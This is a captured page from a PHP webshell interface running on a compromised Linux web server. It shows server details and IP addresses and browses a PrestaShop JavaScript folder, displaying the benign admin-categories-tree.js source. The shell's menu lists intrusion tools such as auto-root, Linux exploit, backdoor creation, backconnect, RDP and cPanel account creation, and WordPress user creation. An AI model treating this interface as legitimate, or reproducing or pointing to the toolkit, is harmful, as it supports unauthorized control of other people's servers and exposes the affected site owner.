Linux node5458.myfcloud.com 6.10.2-x86_64-linode165 #1 SMP PREEMPT_DYNAMIC Tue Jul 30 15:03:21 EDT 2024 x86_64
Apache
: 45.79.123.194 | : 3.145.164.205
16 Domain
7.4.33
addify5
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
addify5 /
.trash /
countryrestrictiondemo /
js /
[ HOME SHELL ]
Name
Size
Permission
Action
admin
[ DIR ]
drwxr-xr-x
cropper
[ DIR ]
drwxr-xr-x
jquery
[ DIR ]
drwxr-xr-x
tiny_mce
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
.htaccess
290
B
-rw-r--r--
admin-categories-tree.js
9.26
KB
-rw-r--r--
admin.js
49.24
KB
-rw-r--r--
date.LICENSE
34.94
KB
-rw-r--r--
date.js
11.25
KB
-rw-r--r--
fileuploader.LICENSE
786
B
-rw-r--r--
fileuploader.js
32.21
KB
-rw-r--r--
index.php
1.29
KB
-rw-r--r--
retro-compat.js.php
6.65
KB
-rw-r--r--
rtl.LICENSE
1.05
KB
-rw-r--r--
rtl.js
1.7
KB
-rw-r--r--
tools.js
22.71
KB
-rw-r--r--
unicode_hack.LICENSE
311
B
-rw-r--r--
validate.js
21.3
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : admin-categories-tree.js
/** * 2007-2019 PrestaShop and Contributors * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2019 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ /** * Deprecated since 1.6.0.4 */ var readyToExpand = true; var needCheckAll = false; var needUncheckAll = false; var interval = null; var intervalCheck = null; var id_tree = 0; var arrayCatToExpand = new Array(); var id_category_root = 0; function buildTreeView() { use_shop_context = 0; if (buildTreeView.arguments[0] && buildTreeView.arguments[0] == 1) use_shop_context = 1; $("#categories-treeview").treeview({ url : 'ajax.php', toggle: function () { callbackToggle($(this)); }, ajax : { type: 'POST', async: false, data: { getChildrenCategories : true, use_shop_context : use_shop_context, selectedCat: selectedCat } } }); id_category_root = $('#categories-treeview li:first').attr('id'); $('#categories-treeview li#'+id_category_root+' span').trigger('click'); $('#categories-treeview li#'+id_category_root).children('div').remove(); $('#categories-treeview li#'+id_category_root). removeClass('collapsable lastCollapsable'). addClass('last static'); disabled = $('#categories-treeview li:first input[type=checkbox]').attr('disabled'); $('#categories-treeview input[type=checkbox]').attr('disabled', disabled); $('#expand_all').click( function () { expandAllCategories(); return false; }); $('#collapse_all').click( function () { collapseAllCategories(); return false; }); $('#check_all').click( function () { needCheckAll = true; checkAllCategories(); return false; }); $('#uncheck_all').click( function () { needUncheckAll = true; uncheckAllCategories(); return false; }); // check if checkboxes need to be disabled or not $('.expandable').click(function(){ disabled = $('#categories-treeview li:first input[type=checkbox]').attr('disabled'); $('#categories-treeview input[type=checkbox]').attr('disabled', disabled); }); } function callbackToggle(element) { if (!element.is('.expandable')) return false; if (element.children('ul').children('li.collapsable').length != 0) closeChildrenCategories(element); } function closeChildrenCategories(element) { var arrayLevel = new Array(); if (element.children('ul').find('li.collapsable').length == 0) return false; element.children('ul').find('li.collapsable').each(function() { var level = $(this).children('span.category_level').html(); if (arrayLevel[level] == undefined) arrayLevel[level] = new Array(); arrayLevel[level].push($(this).attr('id')); }); for(i=arrayLevel.length-1;i>=0;i--) if (arrayLevel[i] != undefined) for(j=0;j<arrayLevel[i].length;j++) { $('#categories-treeview').find('li#'+arrayLevel[i][j]+'.collapsable').children('span.category_label').trigger('click'); $('#categories-treeview').find('li#'+arrayLevel[i][j]+'.expandable').children('ul').hide(); } } function setCategoryToExpand() { var ret = false; id_tree = 0; arrayCatToExpand = new Array(); $('#categories-treeview').find('li.expandable:visible').each(function() { arrayCatToExpand.push($(this).attr('id')); ret = true; }); return ret; } function needExpandAllCategories() { return $('li').is('.expandable'); } function expandAllCategories() { // if no category to expand, no action if (!needExpandAllCategories()) return; // force to open main category if ($('li#'+id_category_root).is('.expandable')) $('li#'+id_category_root).children('span.folder').trigger('click'); readyToExpand = true; if (setCategoryToExpand()) interval = setInterval(openCategory, 10); } function openCategory() { // Check readyToExpand in order to don't clearInterval if AJAX request is in progress // readyToExpand = category has been expanded, go to next ;) if (id_tree >= arrayCatToExpand.length && readyToExpand) { if (!setCategoryToExpand()) { clearInterval(interval); // delete interval value interval = null; readyToExpand = false; if (needCheckAll) { checkAllCategories(); needCheckAll = false; } else if (needUncheckAll) { uncheckAllCategories(); needUncheckAll = false; } } else readyToExpand = true; } if (readyToExpand) { if ($('#categories-treeview').find('li#'+arrayCatToExpand[id_tree]+'.hasChildren').length > 0) readyToExpand = false; $('#categories-treeview').find('li#'+arrayCatToExpand[id_tree]+'.expandable:visible span.category_label').trigger('click'); id_tree++; } } function collapseAllCategories() { closeChildrenCategories($('li#'+id_category_root)); } function checkAllCategories() { if (needExpandAllCategories()) expandAllCategories(); else { $('input[name="categoryBox[]"]').not(':checked').each(function () { $(this).attr('checked', true); clickOnCategoryBox($(this)); }); } } function uncheckAllCategories() { if (needExpandAllCategories()) expandAllCategories(); else { $('input[name="categoryBox[]"]:checked').each(function () { $(this).removeAttr('checked'); clickOnCategoryBox($(this)); }); } } function clickOnCategoryBox(category) { if (category.is(':checked')) { $('select#id_category_default').append('<option value="'+category.val()+'">'+(category.val() !=1 ? category.parent().find('span').html() : home)+'</option>'); updateNbSubCategorySelected(category, true); if ($('select#id_category_default option').length > 0) { $('select#id_category_default').show(); $('#no_default_category').hide(); } } else { $('select#id_category_default option[value='+category.val()+']').remove(); updateNbSubCategorySelected(category, false); if ($('select#id_category_default option').length == 0) { $('select#id_category_default').hide(); $('#no_default_category').show(); } } } function updateNbSubCategorySelected(category, add) { var currentSpan = category.parent().parent().parent().children('.nb_sub_cat_selected'); var parentNbSubCategorySelected = currentSpan.children('.nb_sub_cat_selected_value').html(); if (use_radio) { $('.nb_sub_cat_selected').hide(); return false; } if (add) var newValue = parseInt(parentNbSubCategorySelected)+1; else var newValue = parseInt(parentNbSubCategorySelected)-1; currentSpan.children('.nb_sub_cat_selected_value').html(newValue); currentSpan.children('.nb_sub_cat_selected_word').html(selectedLabel); if (newValue == 0) currentSpan.hide(); else currentSpan.show(); if (currentSpan.parent().children('.nb_sub_cat_selected').length != 0) updateNbSubCategorySelected(currentSpan.parent().children('input'), add); } function searchCategory() { var category_to_check; if ($('#search_cat').length) { $('#search_cat').autocomplete('ajax.php?searchCategory=1', { delay: 100, minChars: 3, autoFill: true, max:20, matchContains: true, mustMatch:true, scroll:false, cacheLength:0, multipleSeparator:'||', formatItem: function(item) { return item[1]+' - '+item[0]; }, extraParams: { token: window.token, } }).result(function(event, item) { parent_ids = getParentCategoriesIdAndOpen(item[1]); }); } } function getParentCategoriesIdAndOpen(id_category) { category_to_check = id_category; $.ajax({ type: 'POST', url: 'ajax.php', async: true, dataType: 'json', data: 'ajax=true&getParentCategoriesId=true&id_category=' + id_category , success: function(jsonData) { for(var i= 0; i < jsonData.length; i++) if (jsonData[i].id_category != 1) arrayCatToExpand.push(jsonData[i].id_category); readyToExpand = true; interval = setInterval(openParentCategories, 10); intervalCheck = setInterval(checkCategory, 20); }, error: function(XMLHttpRequest, textStatus, errorThrown) { jAlert("TECHNICAL ERROR: \n\nDetails:\nError thrown: " + XMLHttpRequest + "\n" + 'Text status: ' + textStatus); } }); } function openParentCategories() { if (id_tree >= arrayCatToExpand.length && !readyToExpand) { clearInterval(interval); // delete interval value interval = null; readyToExpand = false; } if (readyToExpand) { if ($('li#'+arrayCatToExpand[id_tree]+'.hasChildren').length > 0) readyToExpand = false; $('li#'+arrayCatToExpand[id_tree]+'.expandable span').trigger('click'); id_tree++; } } function checkCategory() { if ($('li#'+category_to_check+' > input[type=checkbox]').prop('checked')) { clearInterval(intervalCheck); intervalCheck = null; } else { $('li#'+category_to_check+' > input').attr('checked', true); updateNbSubCategorySelected($('li#'+category_to_check+' > input[type=checkbox]'), true); } }
Close